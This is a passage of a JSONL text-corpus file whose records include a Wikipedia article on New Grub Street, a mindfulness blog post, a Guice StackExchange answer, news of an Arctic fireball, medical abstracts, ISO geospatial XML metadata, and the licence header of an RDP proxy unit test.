of some talent but limited commercial prospects, and a shy, cerebral man; and Jasper Milvain, a young journalist, hard-working and capable of generosity, but cynical and only semi-scrupulous about writing and its","metadata":{"pile_set_name":"Wikipedia (en)"},"id":2} {"contents":"purpose in the modern (i.e. late Victorian) world.\n\nNew Grub Street opens with Milvain, an \"alarmingly modern young man\" driven by pure financial ambition in navigating his literary career. He accepts that he will \"always despise the people [he] write[s] for,\" networks within the appropriate social circle to create opportunity, and authors articles for popular periodicals. Reardon, on the other hand, prefers to write novels of a more literary bent and refuses to pander to contemporary tastes until, as a last-gasp measure against financial ruin, he attempts a popular novel. At this venture, he is of course too good to succeed, and he's driven to separate from his wife, Amy Reardon, n\u00e9e Yule, who cannot accept her husband's inflexibly high standards\u2014and consequent poverty.\n\nThe Yule family includes","metadata":{"pile_set_name":"Wikipedia (en)"},"id":3} {"contents":"Amy's two uncles\u2014John, a wealthy invalid, and Alfred, a species of critic\u2014and Alfred's daughter, and research assistant, Marian. The friendship that develops between Marian and Milvain's sisters, who move to London following their mother's death, provides opportunity for the former to meet and fall in love with Milvain. However much Milvain respects Marian's intellectual capabilities and strength of personality, the crucial element (according to him) for marriage is missing: money. Marrying a rich woman, after all, is the most convenient way to speed his career. Indeed, Milvain slights romantic love as a key to marriage:\n\nAs a rule, marriage is the result of a mild preference, encouraged by circumstances, and deliberately heightened into strong sexual feeling. You, of all men, know well enough","metadata":{"pile_set_name":"Wikipedia (en)"},"id":4} {"contents":"that the same kind of feeling could be produced for almost any woman who wasn't repulsive.\n\nEventually, reason enough for an engagement is provided by a legacy of \u00a35,000 left to Marian by John Yule.\n\nLife and death eventually end the possibility of this union. Milvain's initial career advancement is a position on The Current, a paper edited by Clement Fadge. Twenty years earlier, Alfred Yule (Marian's father) was slighted by Fadge in a newspaper article, and the resulting acerbic resentment extends even to Milvain. Alfred refuses to countenance Marian's marriage; but his objection proves to be an obstacle to Milvain only after Yule's eyesight fails and Marian's legacy is reduced to a mere \u00a31,500. As a result, Marian must work to provide for her parent,","metadata":{"pile_set_name":"Wikipedia (en)"},"id":5} {"contents":"and her inheritance is no longer available to Milvain.\n\nBy this time, Milvain already has detected a more desirable target for marriage: Amy Reardon. Reardon's poverty and natural disposition toward ill-health culminate in his death following a brief reconciliation with his wife. She, besides the receipt of \u00a310,000 upon John Yule's death, has the natural beauty and grace to benefit a man in the social events beneficial to his career. Eventually Amy and Milvain marry; however, as the narrator reveals, this marriage motivated by circumstances is not lacking in more profound areas. Milvain, it is said, has married the woman he loves, although the narrator never states this as a fact, merely reporting it as something others have said about Milvain. In fact, in","metadata":{"pile_set_name":"Wikipedia (en)"},"id":6} {"contents":"a conversation that ends the book, the reader is left to question whether Milvain is in fact haunted by his love for Marian, and his ungentlemanly actions in that regard.\n\nCharacters\nJasper Milvain \u2014 an \"alarmingly modern young man\" who rejects artistic integrity for financial gain and social prominence. After a broken engagement with Marian Yule, Milvain marries her cousin (and Edwin Reardon's widow), Amy, who received a legacy of \u00a310,000 on her uncle's death. By the novel's end, Milvain secures an editorship of a periodical \"The Current\" partly due to determination, partly due to largesse made possible by his wife's inheritance.\nEdwin Reardon \u2014 a talented writer of uncommercial novels. A modicum of early critical praise is disappointed after his marriage to Amy Yule (and fathering of","metadata":{"pile_set_name":"Wikipedia (en)"},"id":7} {"contents":"Willie), when Reardon is unable to provide for his family through his chosen profession. After Reardon fails, he takes refuge in the steady income of a clerkship proffered by a friend. Reardon is deserted by his wife, who cannot endure poverty and social degradation. They are briefly reconciled when their child becomes ill and dies; but Reardon, whose health has been broken by depression and poor living, is himself seriously ill, and his death soon follows.\nAlfred Yule \u2014 writer. Yule is a vehement foe of Clement Fadge, the editor who provided Milvain's first break. His frustrations over meagre financial prospects and a stalled career are repeatedly visited on his wife whose lower-class background and limited education are a continual source of irritation. He dies","metadata":{"pile_set_name":"Wikipedia (en)"},"id":8} {"contents":"blind.\nMarian Yule \u2014 cousin of Amy Reardon and daughter of Alfred Yule. A sympathetic portrait of a woman torn between family ties, the possibility of marriage, and the need to earn a living. Loyal to her fiancee Jasper Milvain, she ultimately is forced to acknowledge that he is not prepared to marry her after her financial circumstances have been reduced, and indeed does not even love her. She breaks off the engagement, despite still being in love with him.\nHarold Biffen \u2014 habitually (almost contentedly) down-and-out friend of Reardon. Biffen scrapes an existence from tutoring. The novel he has worked on for many years is eventually published but attracts little notice. Running out of money, and unwilling to ask his brother for more, he commits suicide.\nDora Milvain \u2014","metadata":{"pile_set_name":"Wikipedia (en)"},"id":9} {"contents":"Jasper Milvain's younger sister, who moves to London following her mother's death. With Jasper's encouragement, Dora enters onto a career writing for children and encounters early success. Eventually, she marries Mr. Whelpdale.\nMaud Milvain \u2014 Jasper Milvain's sister, who also moves to London following her mother's death. Begins writing as well, but is not as ambitious as her sister. She marries the wealthy Mr. Dolomore.\nMr. Whelpdale \u2014 friend of Milvain and future husband of Dora Milvain. Whelpdale is a compulsive lover with four broken engagements behind him (in each, the woman's choice). Having abandoned fiction-writing, Whelpdale concentrates on a business assisting clients in publishing and revising novels. Eventually, his business finds commercial backing.\n\nPublication history\n1891, UK, Smith, Elder (), hardback (3 volume first","metadata":{"pile_set_name":"Wikipedia (en)"},"id":10} {"contents":"edition)\n1904, USA, Brewster (), hardback (1 volume)\n2002, New York, Modern Library (), paperback\n2009, New Grub Street: The 1901 Revised Text, edited by Paul Delany. Victoria: ELS Editions ()\n\nLater references\nThe BBC Radio 4 sitcom Ed Reardon's Week contains characters loosely suggested by the novel.\n\nReferences\n\nSources\n Hansen, Harry (1926). \"Introduction\" to New Grub Street. New York: The Modern Library, pp. v\u2013xii.\n Goldring, Douglas (1920). \"An Outburst on Gissing.\" In: Reputations. London: Chapman & Hall, pp.\u00a0125\u2013132.\n Hicks, Granville (1939). \"The Changing Novel.\" In: Figures in Transition. New York: The Macmillan Company, pp.\u00a0179\u2013203.\n Lang, Andrew (1891). \"Realism in New Grub Street,\" The Author, Vol. II, pp.\u00a043\u201344.\n \n Thomas, J.D. (1953). \"The Public Purposes of George Gissing,\" Nineteenth-Century Fiction, Vol. VIII, No. 2, pp.\u00a0118\u2013123.\n\nExternal links \n\n The World Wide SchoolTM\n Bobby Seal's article on","metadata":{"pile_set_name":"Wikipedia (en)"},"id":11} {"contents":"New Grub Street on the London Fictions website\n (plain text and HTML)\n \nNew Grub Street at Internet Archive (scanned books original editions color illustrated)\n\nCategory:1891 British novels\nCategory:Novels by George Gissing\nCategory:Novels set in London\nCategory:Novels about journalists\nCategory:Victorian novels\nCategory:Novels set in the 19th century","metadata":{"pile_set_name":"Wikipedia (en)"},"id":12} {"contents":"Cultivating Peace Within\n\nI\u2019m not interested in\nwho suffered the most.\nI\u2019m interested in\npeople getting over it.\n\nOnce when my father was a boy\na stone hit him on the head.\nHair would never grow there.\nOur fingers found the tender spot\nand its riddle: the boy who has fallen\nstands up. A bucket of pears\nin his mother\u2019s doorway welcomes him home.\nThe pears are not crying.\nLater his friend who threw the stone\nsays he was aiming at a bird.\nAnd my father starts growing wings.\n\nEach carries a tender spot:\nSomething our lives forgot to give us.\nA man builds a house and says,\n\u201cI am native now.\u201d\nA woman speaks to a tree in place\nof her son. And olives come.\nA child\u2019s poem says,\n\u201cI don\u2019t like wars,\nthey end up with monuments.\u201d\nHe\u2019s painting a bird with wings\nwide enough to cover two roofs at once.\n\nWhy are","metadata":{"pile_set_name":"Pile-CC"},"id":13} {"contents":"we so monumentally slow?\nSoldiers stalk a pharmacy:\nbig guns, little pills.\nIf you tilt your head just slightly\nit\u2019s ridiculous.\n\nThere\u2019s a place in my brain\nwhere hate won\u2019t grow.\nI touch its riddle: wind, and seeds.\nSomething pokes us as we sleep.\n\nStan and I are taking a mindfulness class at St. Mary\u2019s Health and Fitness. We both have meditated for years, but with our current health conditions, it couldn\u2019t hurt to tune up our skills. The first week we had to keep a meditation journal, which for me was a good reminder to do at least a little every day. The second week our assignment was no radio or other music while driving and no television. No television is not too hard for us because we don\u2019t watch much and we DVR shows we","metadata":{"pile_set_name":"Pile-CC"},"id":14} {"contents":"do want to watch. We also received colorful Zen dots which are removable round stickers to put all over your house and car and they remind you to take a deep breath whenever you see one. I have one on our Surface keypad,\n\none on my water bottle,\n\none on my Boogie Board,\n\nand I put one Zen dot on my car radio dial.\n\nI have always been a person who notices things, so that didn\u2019t change much driving without radio. But I did pay more attention to my speed. And I was more mindful. We missed the third class, unfortunately, because the Radicava webinar was at the exact same time. The third class was on meditation to handle pain which Stan really needs. There was no class this week and next","metadata":{"pile_set_name":"Pile-CC"},"id":15} {"contents":"Wednesday will be the last one. Hopefully Stan can get caught up on the pain lesson.\n\nI have been working on maintaining my inner peace at home despite the loud expressions of frustration and anger that at times spring from the guys I love. I went on strike as Andy\u2019s manager, in that I won\u2019t remind him to get his school work, chores, training, practicing, etc. done. I am done with the conflict: \u201cI know Mom!\u201d spoken quite loudly and then still not getting anything done. At first he begged me to not go on strike. He said, \u201cI like you telling me what to do.\u201d I said, \u201cI am not going to college with you.\u201d Stan has really stepped up his involvement in managing Andy which is awesome.\n\nIt","metadata":{"pile_set_name":"Pile-CC"},"id":16} {"contents":"measures breaths per minute and can tell if you are calm, tense, concentrating, active, or sedentary. I set mine to vibrate and notify my phone only when I am tense, because I am usually a calm person. it is interesting to see what causes me to be tense. Spire also has guided breathing meditations including one called clinical strength for pain and that has helped Stan a few times already. It is also water proof so I can use it during water aerobics.\n\nI wake up early in the morning because I love the peaceful time before anyone else is up. My alarm goes off at 4:45 AM and our local public radio station comes on with 15 minutes of classical music which is usually wonderfully calming music to","metadata":{"pile_set_name":"Pile-CC"},"id":17} {"contents":"wake up to. At 5 AM NPR news comes on. I like to know what is going on in the world, but I do get more tense when I listen to it. I also get more tense when I look at Facebook, probably more so since he who shall not be named became the head of our country.\n\nI now read an emailed news digest called The Skimm. It\u2019s witty, as well as succinct but detailed if you wish to click links. I find it to be less stress inducing than the news on the radio. It was through The Skimm that I found out about Spire. You can check out The Skimm here: https:\/\/www.theskimm.com\/?r=b25ee41b I do still read our local newspaper when I have time.\n\nThe news is full","metadata":{"pile_set_name":"Pile-CC"},"id":18} {"contents":"of terrorism and war, political strife, senseless killings. These things are not happening more in modern times than they did in history. They have always happened. Terrorism is part of war and wars have been fought throughout history over religious differences, political differences and power struggles. John Lennon said, \u201cImagine all the people living life in peace\u2026imagine all the people sharing all the world\u201d in his famous song Imagine. I will come across as a realist, and even maybe a naysayer because I don\u2019t think this will ever happen. I think our planet will become even more full of war as resources shrink and populations increase.\n\nAs Naomi Shibab Nye said in her poem Jerusalem, \u201cThere\u2019s a place in my brain where hate won\u2019t grow\u201d. It is through mindfulness","metadata":{"pile_set_name":"Pile-CC"},"id":19} {"contents":"and meditation that we can get in touch with that peaceful place within ourselves. And it will be more and more important to be able to go to that peaceful place as life\u2019s hardships bombard our local, national, and international newsfeeds, as well as all of our lives.\n\nSearch\n\nSearch for:\n\nText Widget\n\nThis is a text widget, which allows you to add text or HTML to your sidebar. You can use them to display text, links, images, HTML, or a combination of these. Edit them in the Widget section of the Customizer.\n\nFollow this Blog via Email\n\nEnter your email address to follow this blog and receive notifications of new posts by email.","metadata":{"pile_set_name":"Pile-CC"},"id":20} {"contents":"Alsatian Cheese Tart\n\nFrench Chef Michel Bernard Platz, co-owner with Jose Sanabria of Out of Flower cooking school and specialty catering in Dallas, recommends traditional Alsatian fare. In Alsae, the Yuletide dinner starts with an onion and leek tart, followed by a hearty one-dish creation called Baeckaoffa served with walnut bread. For dessert, try an Alsatian Cheese Tart.\n\nADVERTISEMENT\n\nADVERTISEMENT\n\nADVERTISEMENT\n\nABOUT TEXAS HIGHWAYS\n\nPublished monthly by the Texas Department of Transportation, Texas Highways, the official travel magazine of Texas, encourages travel to and within the Lone Star State and tells the Texas story to readers around the world.","metadata":{"pile_set_name":"Pile-CC"},"id":21} {"contents":"Q:\n\nHow to get a list of objects from Guice by their classes?\n\nI defined some \"transformers\" (functions) and need a list of them. Each of them gets created by Guice and I'm using this code to get the list:\npublic class CombinedTransformer extends AbstractTransformer {\n @Inject CombinedTransformer(\n FirstTransformer firstTransformer,\n SecondTransformer secondTransformer,\n ThirdTransformer thirdTransformer) {\n transformers = ImmutableList.of(\n firstTransformer,\n ","metadata":{"pile_set_name":"StackExchange"},"id":22} {"contents":" secondTransformer,\n thirdTransformer);\n\nMy list is pretty long, so I wonder if there's a simpler way, something like\npublic class CombinedTransformer extends AbstractTransformer {\n @Inject CombinedTransformer(Injector injector) {\n transformers = injector.getList(\n FirstTransformer.class,\n SecondTransformer.class,\n ThirdTransformer.class);\n }\n}\n\nIs there something like this?\n\nA:\n\nYou can use multibindings for this:\nMultibinder multibinder = Multibinder.newSetBinder(binder(), AbstractTransformer.class);\nmultibinder.addBinding().to(FirstTransformer.class);\nmultibinder.addBinding().to(SecondTransformer.class);\nmultibinder.addBinding().to(ThirdsTransformer.class);\n\nThen you can inject Set:\n@Inject\nCombinedTransformer(Set transformers) {\n \/\/ do whatever you want with the set\n}\n\nBut you can't do it","metadata":{"pile_set_name":"StackExchange"},"id":23} {"contents":"without using multibindings directly. If you really need to get a list of objects using statically known list of classes, you can write a wrapper around an injector and use it:\npublic class ListInjectorWrapper {\n private final Injector injector;\n\n @Inject\n ListInjectorWrapper(Injector injector) {\n this.injector = injector;\n }\n\n @SafeVarargs\n public final List getList(Class... classes) {\n return Arrays.stream(classes).map(clazz -> injector.getInstance(clazz))\n .collect(Collectors.toList());\n }\n}\n\nThen inject it and use it to get your transformers:\n@Inject\nCombinedTransformer(ListInjectorWrapper injectorWrapper) {\n transformers = injectorWrapper.getList(\n ","metadata":{"pile_set_name":"StackExchange"},"id":24} {"contents":" FirstTransformer.class,\n SecondTransformer.class,\n ThirdTransformer.class\n );\n}\n\n","metadata":{"pile_set_name":"StackExchange"},"id":25} {"contents":"### View \u57fa\u7840\n\n- [\u9ad8\u7ea7 UI \u6210\u957f\u4e4b\u8def (\u4e00) View \u7684\u57fa\u7840\u77e5\u8bc6\u4f60\u5fc5\u987b\u77e5\u9053](https:\/\/juejin.im\/post\/5dcff9d3f265da0bd20af0da)\n- [\u6dd8\u5b9d\u5982\u4f55\u505a\u5230\u5c55\u793a\u4ebf\u7ea7\u5546\u54c1\uff08\u5f3a\u6392\u7248\uff0c\u5f3a\u4ea4\u4e92\u5b9e\u73b0\u673a\u5236\uff09](https:\/\/github.com\/interviewandroid\/AndroidInterView\/blob\/master\/android\/thread.md)\n- [Android View \u4f53\u7cfb\u7adf\u7136\u8fd8\u80fd\u8fd9\u4e48\u7406\u89e3\uff1f](https:\/\/mp.weixin.qq.com\/s\/ULSW2clH4AjpvlnwD3zgrQ)\n\n\n\n### View \u5de5\u4f5c\u539f\u7406\n\n- [\u9ad8\u7ea7 UI \u6210\u957f\u4e4b\u8def (\u4e09) \u7406\u89e3 View \u5de5\u4f5c\u539f\u7406\u5e76\u5e26\u4f60\u5165\u81ea\u5b9a\u4e49 View \u95e8](https:\/\/juejin.im\/post\/5ddff234518825793218d2e4)\n- [Android *View \u7ed8\u5236* 13 \u95ee 13 \u7b54](http:\/\/www.cnblogs.com\/punkisnotdead\/p\/5181821.html)\n- [\u6df1\u5165\u7406\u89e3 Android \u4e4b *View \u7684\u7ed8\u5236*\u6d41\u7a0b](http:\/\/www.jianshu.com\/p\/060b5f68da79)\n- [*View \u7ed8\u5236*\u6d41\u7a0b\u6d45\u6790\uff0c\u6211\u6240\u7406\u89e3\u7684 *View \u7ed8\u5236*\u3002](http:\/\/blog.csdn.net\/silentweek\/article\/details\/53467002)\n- [View \u7684\u5de5\u4f5c\u539f\u7406\u4e0a View \u7ed8\u5236\u6d41\u7a0b\u68b3\u7406\u53ca Measure \u8fc7\u7a0b\u8be6\u89e3](https:\/\/yongyu.itscoder.com\/2016\/09\/11\/view_measure\/)\n- [\u5c4f\u5e55\u5237\u65b0\u673a\u5236](https:\/\/mp.weixin.qq.com\/s\/sYz0D7rxCOVzVgTIJImXaQ)\n- \n\n\n\n#### RecycleView \u539f\u7406\n\n- [RecyclerView \u5237\u65b0\uff0c\u590d\u7528\uff0c\u52a8\u753b](https:\/\/github.com\/SusionSuc\/AdvancedAndroid\/blob\/master\/AndroidFramework\u6e90\u7801\u5206\u6790\/recyclerview\/README.md)\n\n\n\n","metadata":{"pile_set_name":"Github"},"id":26} {"contents":"COPENHAGEN, Denmark -- A blazing fireball lit up the dark skies of Arctic Finland for five seconds, giving off what scientists said was \"the glow of 100 full moons\" and igniting hurried attempts to find the reported meteorite.\n\nFinnish experts were scrambling to calculate its trajectory and find where it landed, according to Tomas Kohout of the University of Helsinki's physics department, who said Thursday night's fireball \"seems to have been one of the brightest ones.\"\n\nIt produced a blast wave that felt like an explosion about 6:40 p.m. and could also be seen in northern Norway and in Russia's Kola peninsula, he told the Associated Press on Saturday.\n\nGet Breaking News Delivered to Your Inbox\n\nFootage captured by Aurora Service Tours showed the bright flash over the night sky.\n\nIt might have","metadata":{"pile_set_name":"OpenWebText2"},"id":27} {"contents":"weighed about 220 pounds, according to Nikolai Kruglikov of Yekaterinburg's Urals Federal University.\n\n\"We believe it didn't disintegrate but reached a remote corner of Finland,\" Kohout said, adding that any search plans for the meteorite must face the fact that \"right now we don't have much daylight\" -- four hours, to be precise.\n\nThe Norwegian meteorite network said the fireball \"had the glow of 100 full moons\" and likely was going northeast, perhaps \"to the Norwegian peninsula of Varanger,\" north of where the borders of Russia, Finland and Norway meet.\n\nKohout said scientists looked forward to any space debris they can get their hands on.\n\n\"We are happy to recover (it) since this is a unique opportunity to get otherwise inaccessible space material,\" said Kohout. \"This is why it's worth it to","metadata":{"pile_set_name":"OpenWebText2"},"id":28} {"contents":"search for them.\"\n\nViktor Troshenkov of the Russian Academy of Sciences told the Tass news agency that the fireball could be part of a prolific meteor shower known as the Leonids, which peaks at this time of year. He said he felt Thursday's fireball likely wasn't the sole meteorite but others maybe were not seen due to thick clouds elsewhere.\n\nTroshenkov told Tass that meteor showers can be even stronger. The Leonids reach their maximum once every 33 years -- and the last time that happened was in 1998, he said. Amateur astronomers in the Arctic then saw about 1,000 meteors, 40 meteorites and one fireball in just one night.\n\nIn 2013, a meteorite streaked across the Russian sky and exploded over the Ural Mountains with the power of an atomic","metadata":{"pile_set_name":"OpenWebText2"},"id":29} {"contents":"bomb, its sonic blasts shattering countless windows and injuring about 1,100 people. Many were cut by flying glass as they flocked to windows, curious about what had produced such a blinding flash of light.\n\nThe 2013 Chelyabinsk meteorite was estimated to be about 10 tons when it entered the Earth's atmosphere at a hypersonic speed of at least 33,000 mph. It shattered into pieces about 18-32 miles above the ground but some meteorite chunks were found in a Russian lake.\n\nA meteoroid is smaller than a kilometer, and often so small that when it enters the Earth's atmosphere it vaporizes and never reaches the ground. A meteor is a flash of light caused by a meteoroid that fails to get through the Earth's atmosphere. If part of it does survive,","metadata":{"pile_set_name":"OpenWebText2"},"id":30} {"contents":"that's called a meteorite.\n\nAsteroids are generally larger chunks of rock that come from the asteroid belt located between the orbits of Mars and Jupiter.","metadata":{"pile_set_name":"OpenWebText2"},"id":31} {"contents":"[Platelet immunology and the immune response].\nPlatelets exert not only hemostatic activities, but also pro-inflammatory effects. Platelet-linked inflammation seems essentially related to their capacity of secreting cytokines, chemokines and related molecules. This activity is important in terms of concentration of secreted products. This secretory function confers to platelets a regulatory role in immunity. Besides, platelets do exhibit non-self infectious danger detection molecules on their surfaces, belonging in particular to the \"Toll-like receptor family\"; through this property, platelets can bind infectious agents but also deliver differential signals for the secretion of cytokines and chemokines. Platelets, which are non-nucleated cells deprived of nuclear DNA, possess however some cellular machinery which permits intracellular signalling and even the production of RNA transcripts for certain cytokines. Last, platelets express variant surface determinants of hemostatic","metadata":{"pile_set_name":"PubMed Abstracts"},"id":32} {"contents":"molecules (referred to as HPA antigens) along with HLA class I variant molecules, the function of which on platelets is still unknown. An intriguing question is to reconcile those diverse properties and to understand whether the pro-inflammatory secretory process can affect the immunogenicity of transfused, allogeneic, platelet components.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":33} {"contents":"Beck \u2013 \u00d6ga f\u00f6r \u00f6ga\n\nBeck \u2013 \u00d6ga f\u00f6r \u00f6ga (English: Beck \u2013 Eye For An Eye) is a 1998 Swedish police film about Martin Beck, directed by Kjell Sundvall.\n\nCast \n Peter Haber as Martin Beck\n Mikael Persbrandt as Gunvald Larsson\n Stina Rautelin as Lena Klingstr\u00f6m\n Per Morberg as Joakim Wers\u00e9n\n Ingvar Hirdwall as Martin Beck's neighbour\n Rebecka Hemse as Inger (Martin Beck's daughter)\n Fredrik Ultvedt as Jens Loftsg\u00e5rd\n Michael Nyqvist as John Banck\n Anna Ulrica Ericsson as Yvonne J\u00e4der\n Peter H\u00fcttner as Oljelund\n Bo H\u00f6glund as Mats (the waiter)\n Lena T. Hansson as Karin Lofj\u00e4rd\n G\u00f6ran Ragnerstam as Erik Aronsson\n Catarina Cavalli as Karin Lofj\u00e4rd (as young)\n G\u00f6ran Forsmark as Nils Mogren\n\nReferences\n\nExternal links \n\nCategory:1998 television films\nCategory:Films directed by Kjell Sundvall\nCategory:Martin Beck films\nCategory:Swedish films\nCategory:Swedish-language films\nCategory:1990s crime films\nCategory:1990s police procedural","metadata":{"pile_set_name":"Wikipedia (en)"},"id":34} {"contents":"films","metadata":{"pile_set_name":"Wikipedia (en)"},"id":35} {"contents":"\n\n \n None<\/gco:CharacterString>\n <\/gmd:fileIdentifier>\n \n eng\n <\/gmd:LanguageCode>\n eng<\/gco:CharacterString>\n <\/gmd:language>\n \n \n MD_CharacterSetCode_utf8\n <\/gmd:MD_CharacterSetCode>\n <\/gmd:characterSet>\n \n dataset\n <\/gmd:MD_ScopeCode>\n <\/gmd:hierarchyLevel>\n \n \n \n \n <\/gmd:organisationName>\n \n \n ","metadata":{"pile_set_name":"Github"},"id":36} {"contents":" \n \n \n \n <\/gmd:electronicMailAddress>\n <\/gmd:CI_Address>\n <\/gmd:address>\n <\/gmd:CI_Contact>\n <\/gmd:contactInfo>\n \n pointOfContact\n ","metadata":{"pile_set_name":"Github"},"id":37} {"contents":" <\/gmd:CI_RoleCode>\n <\/gmd:role>\n <\/gmd:CI_ResponsibleParty>\n <\/gmd:contact>\n \n \n <\/gmd:dateStamp>\n \n ISO19115<\/gco:CharacterString>\n <\/gmd:metadataStandardName>\n \n 2003\/Cor.1:2006<\/gco:CharacterString>\n <\/gmd:metadataStandardVersion>\n \n \n \n \n <\/gmd:abstract>\n \n \n \n buildings_osm_4326<\/gco:CharacterString>\n <\/gmd:title>\n \n ","metadata":{"pile_set_name":"Github"},"id":38} {"contents":" \n \n \n <\/gmd:date>\n \n publication\n <\/gmd:CI_DateTypeCode>\n ","metadata":{"pile_set_name":"Github"},"id":39} {"contents":"<\/gmd:dateType>\n <\/gmd:CI_Date>\n <\/gmd:date>\n \n \n \n \n <\/gmd:date>\n \n revision\n ","metadata":{"pile_set_name":"Github"},"id":40} {"contents":" <\/gmd:CI_DateTypeCode>\n <\/gmd:dateType>\n <\/gmd:CI_Date>\n <\/gmd:date>\n \n \n \n \n <\/gmd:date>\n ","metadata":{"pile_set_name":"Github"},"id":41} {"contents":" \n creation\n <\/gmd:CI_DateTypeCode>\n <\/gmd:dateType>\n <\/gmd:CI_Date>\n <\/gmd:date>\n \n \n ","metadata":{"pile_set_name":"Github"},"id":42} {"contents":" \n None<\/gco:CharacterString>\n <\/gmd:code>\n <\/gmd:RS_Identifier>\n <\/gmd:identifier>\n <\/gmd:CI_Citation>\n <\/gmd:citation>\n \n \n \n \n <\/gmd:organisationName>\n ","metadata":{"pile_set_name":"Github"},"id":43} {"contents":"\n \n \n \n \n \n <\/gmd:electronicMailAddress>\n <\/gmd:CI_Address>\n ","metadata":{"pile_set_name":"Github"},"id":44} {"contents":"<\/gmd:address>\n <\/gmd:CI_Contact>\n <\/gmd:contactInfo>\n <\/gmd:CI_ResponsibleParty>\n <\/gmd:pointOfContact>\n \n \n \n Human health and safety\n <\/gco:CharacterString>\n <\/gmd:keyword>\n \n ","metadata":{"pile_set_name":"Github"},"id":45} {"contents":" \n \n GEMET - INSPIRE themes,\n version 1.0\n <\/gco:CharacterString>\n <\/gmd:title>\n ","metadata":{"pile_set_name":"Github"},"id":46} {"contents":" \n \n \n 2008-06-01<\/gco:Date>\n <\/gmd:date>\n \n \n ","metadata":{"pile_set_name":"Github"},"id":47} {"contents":" publication\n <\/gmd:CI_DateTypeCode>\n <\/gmd:dateType>\n <\/gmd:CI_Date>\n <\/gmd:date>\n ","metadata":{"pile_set_name":"Github"},"id":48} {"contents":" <\/gmd:CI_Citation>\n <\/gmd:thesaurusName>\n <\/gmd:MD_Keywords>\n <\/gmd:descriptiveKeywords>\n \n \n \n \n <\/gmd:useLimitation>\n <\/gmd:MD_Constraints>\n <\/gmd:resourceConstraints>\n \n eng\n <\/gmd:LanguageCode>\n <\/gmd:language>\n","metadata":{"pile_set_name":"Github"},"id":49} {"contents":" \n geoscientificInformation\n <\/gmd:MD_TopicCategoryCode>\n <\/gmd:topicCategory>\n \n \n <\/gmd:EX_Extent>\n <\/gmd:extent>\n \n \n \n \n <\/source>\n \n","metadata":{"pile_set_name":"Github"},"id":50} {"contents":" \n <\/scale>\n \n classified<\/gco:CharacterString>\n <\/layer_mode>\n \n \n <\/exposure_unit>\n \n \n <\/multipart_polygon>\n \n","metadata":{"pile_set_name":"Github"},"id":51} {"contents":" \n <\/datatype>\n \n 3.5<\/gco:CharacterString>\n <\/keyword_version>\n \n \n <\/report>\n \n polygon<\/gco:CharacterString>\n <\/layer_geometry>\n \n","metadata":{"pile_set_name":"Github"},"id":52} {"contents":" exposure<\/gco:CharacterString>\n <\/layer_purpose>\n \n FLOODED<\/gco:CharacterString>\n <\/structure_class_field>\n \n \n <\/road_class_field>\n \n structure<\/gco:CharacterString>\n <\/exposure>\n <\/inasafe>\n ","metadata":{"pile_set_name":"Github"},"id":53} {"contents":" <\/gmd:supplementalInformation>\n <\/gmd:MD_DataIdentification>\n <\/gmd:identificationInfo>\n \n \n \n \n \n unknown<\/gco:CharacterString>\n <\/gmd:name>\n \n unknown<\/gco:CharacterString>\n <\/gmd:version>\n <\/gmd:MD_Format>\n <\/gmd:distributionFormat>\n \n \n ","metadata":{"pile_set_name":"Github"},"id":54} {"contents":" \n \n \n \n <\/gmd:linkage>\n <\/gmd:CI_OnlineResource>\n <\/gmd:onLine>\n <\/gmd:MD_DigitalTransferOptions>\n <\/gmd:transferOptions>\n <\/gmd:MD_Distribution>\n <\/gmd:distributionInfo>\n \n \n \n \n ","metadata":{"pile_set_name":"Github"},"id":55} {"contents":" \n \n dataset\n <\/gmd:MD_ScopeCode>\n <\/gmd:level>\n <\/gmd:DQ_Scope>\n <\/gmd:scope>\n \n \n \n ","metadata":{"pile_set_name":"Github"},"id":56} {"contents":" \n \n \n \n \n \n \n ","metadata":{"pile_set_name":"Github"},"id":57} {"contents":" <\/gmd:date>\n \n \n creation\n ","metadata":{"pile_set_name":"Github"},"id":58} {"contents":" <\/gmd:CI_DateTypeCode>\n <\/gmd:dateType>\n <\/gmd:CI_Date>\n <\/gmd:date>\n <\/gmd:CI_Citation>\n <\/gmd:specification>\n ","metadata":{"pile_set_name":"Github"},"id":59} {"contents":" \n See the referenced\n specification\n <\/gco:CharacterString>\n <\/gmd:explanation>\n \n ","metadata":{"pile_set_name":"Github"},"id":60} {"contents":" true<\/gco:Boolean>\n <\/gmd:pass>\n <\/gmd:DQ_ConformanceResult>\n <\/gmd:result>\n <\/gmd:DQ_DomainConsistency>\n <\/gmd:report>\n \n \n \n \n <\/gmd:statement>\n <\/gmd:LI_Lineage>\n <\/gmd:lineage>\n <\/gmd:DQ_DataQuality>\n <\/gmd:dataQualityInfo>\n<\/gmd:MD_Metadata>\n","metadata":{"pile_set_name":"Github"},"id":61} {"contents":"Direct medical costs of Class IV HIV care.\nOver an 18-month period (January 1987 to June 1988), Group Health Cooperative (GHC) examined the direct medical costs and service utilization of enrollees with Class IV HIV conditions. Data is presented on inpatient stays, outpatient visits by specialty, and outpatient pharmacy, laboratory, home health, and purchased-outside services. Results for enrollees with Class IV HIV disease are compared to those for a control sample of enrollees, age and sex matched with the HIV sample. The per member per month (PMPM) cost for the HIV sample was $1,761, approximately 33 times greater than the PMPM cost for the control sample. Group Health's annualized cost of $21,130 per case and diagnosis-to-death cost of $31,700-$42,300 per case are comparable to costs of Class IV care","metadata":{"pile_set_name":"PubMed Abstracts"},"id":62} {"contents":"in other settings. Primary care costs were 11 times that of controls. Several specialty areas (e.g., infectious disease, pulmonary, oncology, and radiation therapy) were impacted to a greater extent.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":63} {"contents":"And we have one more, because I love you.\n\nExperiment 07 was brought to life by artist Phill Berry. Attach this Mutant to almost anything else you control (yes, even your Lab Assistants! They\u2019ll forgive you later) and start wreaking havoc!","metadata":{"pile_set_name":"OpenWebText2"},"id":64} {"contents":"\/*\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 675","metadata":{"pile_set_name":"Github"},"id":65} {"contents":"Mass Ave, Cambridge, MA 02139, USA.\n\n Product name: redemption, a FLOSS RDP proxy\n Copyright (C) Wallix 2016\n Author(s): Jennifer Inthavong\n\n T.124 Generic Conference Control (GCC) Unit Test\n*\/\n\n#include 